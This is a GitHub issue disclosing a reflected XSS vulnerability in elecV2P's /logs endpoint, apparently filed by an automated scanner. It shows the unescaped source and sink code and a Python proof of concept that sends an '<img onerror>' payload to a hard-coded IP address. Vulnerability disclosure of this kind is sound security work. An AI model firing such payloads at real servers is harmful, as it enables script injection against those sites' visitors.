Skip to content

Reflected XSS #201

@NinjaGPT

Description

@NinjaGPT

Summary

The /logs endpoint reflects the filename parameter directly into HTML output via res.write(... ${log} ...) without escaping. An attacker can inject arbitrary HTML/JavaScript through the filename value, executing in any visitor's browser. No authentication required.


Details

  • SOURCE
// source-code/elecV2P-master/webser/wblogs.js#L18C33-L80C4
18→  app.get(["/logs", "/logs/*"], (req, res) => {
19→    let filename = req.params[0]?.replace(/\/$/, '') || 'all'
20→    clog.info((req.headers['x-forwarded-for'] || req.connection.remoteAddress), "get logs", filename)
21→    let logs = LOGFILE.get(filename)
22→    if (!logs) {
23→      return res.status(404).json({
24→        rescode: 404,
25→        message: `${filename} not exist`
26→      })
27→    }
28→    res.writeHead(200, {
29→      'Content-Type': 'text/html;charset=utf-8'
30→    })

  • SINK
// source-code/elecV2P-master/webser/wblogs.js#L71C33-L73C10
71→        LOGS_LIST_CACHE.forEach(log => {
72→          res.write(`<li class="logsnav_item${log===filename ? ' logsnav_item--curt' : ''}">${log}</li>`)
73→        })

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/logs', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

target_url = "http://34.127.19.15:42863/logs"
malicious_payload = '<img src=1 onerror=alert(9)>'

# Inject the payload into the filename parameter
params = {"filename": malicious_payload}

response = requests.get(target_url, params=params)

print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************

  • The executed result
Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions